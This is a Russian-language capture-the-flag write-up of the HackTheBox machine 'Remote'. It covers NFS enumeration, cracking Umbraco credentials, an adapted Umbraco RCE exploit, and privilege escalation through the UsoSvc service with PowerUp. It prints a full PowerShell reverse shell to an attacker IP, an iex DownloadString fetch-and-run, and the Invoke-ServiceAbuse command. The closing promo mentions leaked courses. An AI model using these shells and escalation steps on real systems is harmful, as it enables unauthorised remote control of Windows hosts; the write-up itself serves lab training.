![](https://habrastorage.org/webt/xn/kg/gb/xnkggb5piqoriyajv7ygina1kwm.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье копаемся в NFS ресурсе, разбираемся с RCE эксплоитом для CMS Umbraco и находим вектор LPE через UsoSvc с помощью PowerUp.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.180, который я добавляю в /etc/hosts.
10.10.10.180 remote.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500
![](https://habrastorage.org/webt/ur/gr/fc/urgrfckdbavgtztvyoby0cpe8s8.png)
На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
![](https://habrastorage.org/webt/iz/ta/jc/iztajcqigf3yqtjr4nrisw3a2yw.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
![](https://habrastorage.org/webt/i-/-t/-e/i--t-ewmdr3g3omi-1r0yqvfbrq.png)
Порт 111 отвечает за NFS (позволяет монтировать удалённые файловые системы через сеть). Давайте посмотрим список ресурсов.
![](https://habrastorage.org/webt/8l/zg/rs/8lzgrst_exzhgccwetsow7-ibmw.png)
Имеем доступные ресурсы, давайте примонтируем данный ресурс.
![](https://habrastorage.org/webt/la/1s/zb/la1szbslpadwjcd5mf-egolhxgg.png)
И в данной директории находим Web.config и папку Umbraco. Umbraco является платформой системы управления контентом с открытым исходным кодом.
![](https://habrastorage.org/webt/58/c9/f9/58c9f9-mwlzjfv56a2tpdew5pdi.png)
Таким образом нам, нам нужно посмотреть все конфиги, а также узнать версию Umbraco. Вот что можно отметить в Web.Config.
![](https://habrastorage.org/webt/q8/al/cm/q8alcmsmqw34n833lars70ijezq.png)
![](https://habrastorage.org/webt/vo/an/3w/voan3wga80nvcdmyf5iejvltdl0.png)
Находим учетные данные для smtp и версию Umbraco: 7.12.4. Корая является уязвимой, если имеются учетные данные.
Entry Point
![](https://habrastorage.org/webt/ug/ff/xl/ugffxlkw810a2qk4a8tx2_1-tzm.png)
Дальше я вывел все файлы и каталоги, которые имеются на удаленном сервере, чтобы выбрать и просмотреть файлы, которые представляют интерес.
ls -lR ./
![](https://habrastorage.org/webt/zn/me/n_/znmen_gf2czkld2xhfincjcyvu8.png)
![](https://habrastorage.org/webt/-a/s3/a4/-as3a44kv_olttt2m3krgwmmmay.png)
![](https://habrastorage.org/webt/id/e8/uw/ide8uwpkoiew-hko2_wyuknu86k.png)
![](https://habrastorage.org/webt/by/fm/x6/byfmx6ullcjrp1dpjii6izegdds.png)
После того, как круг файлов ограничен, следует их просмотреть (можно поверхностно используя grep для выбора таких строк как: user, login, pass, vers, и т.п.). Так находим информацию о существовании двух пользователей:
![](https://habrastorage.org/webt/wd/wl/kc/wdwlkc1lvfbkzp4uimsnhoufsha.png)
![](https://habrastorage.org/webt/7d/kf/ef/7dkfefk6nwq3zvbyqyx1hctb3ty.png)
После этого, еще раз проходимся grep’ом в поисках строк admin и ssmith. И находим хеши для данных пользователей.
![](https://habrastorage.org/webt/zx/8u/64/zx8u646tk_7kbasgoxd2w4eaybo.png)
![](https://habrastorage.org/webt/vq/hm/c5/vqhmc5fwkllwjuwmanfiily9mec.png)
И успешно взламываем пароль администратора.
![](https://habrastorage.org/webt/da/ix/pz/daixpzdweznxrzcakz8j8u9tba0.png)
Если посмотреть базу exploit-db, то там есть готовый exploit, но его нужно чуть изменить.
![](https://habrastorage.org/webt/bs/j3/9d/bsj39d4yqiaqpvk3tbhyrfn_gm8.png)
USER
Во-первых: укажем учетные данные и хост.
![](https://habrastorage.org/webt/ka/bc/yw/kabcywihk7flnsw36h-gveai0oo.png)
Во-вторых: изменим нагрузку, указав исполняемый файл и параметры к нему. В данном случае, для теста используем ping.
![](https://habrastorage.org/webt/2i/eg/68/2ieg68qzoigzramytvg-jf6czsq.png)
Как только программа отработает, в tcpdump мы увидим пакеты ICMP.
![](https://habrastorage.org/webt/ft/jw/n9/ftjwn99dflet1uzopucb8ysi050.png)
![](https://habrastorage.org/webt/ee/r6/x5/eer6x5dwqzoxb-7kwtv_cn1bdcq.png)
Давайте загрузим следующий реверс-шелл:
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
Сохраним его в shell.ps1, запустим на локальной машине http сервер.
sudo python3 -m http.server
Изменим нагрузку.
![](https://habrastorage.org/webt/a-/kl/_-/a-kl_-dlb9-i0g5axy3t7lk87co.png)
И выполнив, получим бэкконнект.
![](https://habrastorage.org/webt/pt/k4/pj/ptk4pj8crrgm-mdmw3teohlaoxq.png)
На сервере нет пользовательских директорий, поэтому находим флаг в доступной для всех Public.
![](https://habrastorage.org/webt/o_/-q/b6/o_-qb6klkuph5c3bcweaei3vbbi.png)
ROOT
Посмотрев информацию о пользователе, замечаем интересную привилегию.
![](https://habrastorage.org/webt/6x/wm/ev/6xwmevbhz8zgl64vj6aah2oczi8.png)
Но так как это Windows Server 2019, то имперсонировать токен для LPE не выйдет.
![](https://habrastorage.org/webt/rl/zb/h3/rlzbh3apj1e1kgdaduau-finizy.png)
Давайте используем PowerUp для поиска вектора LPE. Загрузим его с локального хоста и выполним полную проверку.
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks
![](https://habrastorage.org/webt/ha/zm/ps/hazmpswqvmjw880el79arnoyzwq.png)
И мы имеем разрешения на Update Orchestrator Service. Cлужба обновления Orchestrator — это служба, которая организует для вас обновления Windows. Этот сервис отвечает за загрузку, установку и проверку обновлений для компьютера.
Создадим второй shell (изменим в первом порт) и загрузим его на машину.
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1
И теперь запустим с помощью UsoSvc.
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"
![](https://habrastorage.org/webt/r5/ld/ti/r5ldtiutpetlzjlvj41ywftzodm.png)
И получаем бэкконнект.
![](https://habrastorage.org/webt/j2/sc/rb/j2scrbkvaxr3nlqttp2tu_5hb4u.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.